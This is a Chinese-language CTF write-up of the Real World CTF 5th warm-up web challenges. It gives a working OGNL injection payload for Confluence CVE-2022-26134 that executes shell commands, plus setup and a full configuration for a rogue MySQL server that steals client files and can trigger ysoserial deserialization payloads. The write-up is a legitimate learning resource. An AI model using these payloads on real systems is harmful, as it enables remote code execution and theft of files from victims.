Real World CTF 5th 体验赛Web部分wp

最新推荐文章于 2023-04-19 10:02:12 发布

J1mmy_Kudo

最新推荐文章于 2023-04-19 10:02:12 发布

阅读量246

点赞数 1

分类专栏： CTF夺旗赛文章标签：网络安全 Powered by 金山文档

本文链接：https://blog.csdn.net/weixin_58546222/article/details/128655378

版权

CTF夺旗赛专栏收录该内容

2 篇文章 0 订阅

订阅专栏

🐏了拼🐏

解题思路:

方法一:直接拼图

方法二：

查看源代码,关键字查找

Be-a-Wiki-Hacker

这一题是Atlassian Confluence(CVE-2022-26134)OGNL远程代码执行

解题思路:

第一步,抓包修改OGNL表达式

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

第二步,读目录

第三步,cat /flag就可以拿到flag

参考文章:https://blog.csdn.net/weixin_46944519/article/details/125141253

Evil MySQL Server

解题思路:

题目:

Please do not connect to an evil mysql server.
P.S. flag path: /flag

根据题目先去搜索一下evil mysql，提到了一个rogue mysql server这个漏洞利用工具

第一步先去github搞一个rogue mysql server把他下载到云服务器

https://github.com/rmb122/rogue_mysql_server

rogue_mysql_server的使用

在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步
./rogue_mysql_server -generate
运行服务器, 使用刚刚生成的 config.yaml
./rogue_mysql_server
或者手动指定配置路径
./rogue_mysql_server -config other_config.yaml

配置文件

host: 0.0.0.0
port: 3306
# 监听的 IP 和端口.

version_string: "10.4.13-MariaDB-log"
# 客户端得到的服务端版本信息.

file_list: ["/etc/passwd", "C:/boot.ini"]
save_path: ./loot
# 需要读取的文件, 注意这个不意味着一次性读取列表中的所有文件 (很多客户端实现不支持这种操作).
# 而是客户端每执行一次语句, 按照列表中的顺序读取一个文件, 并保存到 `save_path` 文件夹中.

always_read: true
# 如果为 true, 那么不管客户端是否标记自己支持 LOAD DATA LOCAL, 都会尝试去读取文件, 否则会根据客户端的标记来决定是否读取, 避免客户端请求不同步.

from_database_name: false
# 如果为 true, 将会从客户端设定中的数据库名称中提取要读取的文件.
# 例如链接串为 `jdbc:mysql://localhost:3306/%2fetc%2fhosts?allowLoadLocalInfile=true`.
# 将会从客户端读取 `/etc/hosts` 而不会遵循 `file_list` 中的设置.

max_file_size: 0
# 读取文件的最大大小 (单位 byte), 超过这个大小的文件内容将会被忽略. 如果 <= 0, 代表没有限制.

auth: false
users:
- root: root
- root: password
# 对应是否开启验证, 如果为 `false`, 那么不管输什么密码或者不输入密码都可以登录.
# 如果为 `true`, 则需要帐号密码匹配下面的设置的帐号密码中的一条.

jdbc_exploit: false
always_exploit: false
ysoserial_command:
cc4: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections4", 'touch /tmp/cc4']
cc7: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'touch /tmp/cc7']
# 见 `jdbc 利用相关` 一节

修改配置文件,题目给的hint已经告诉我们path是/flag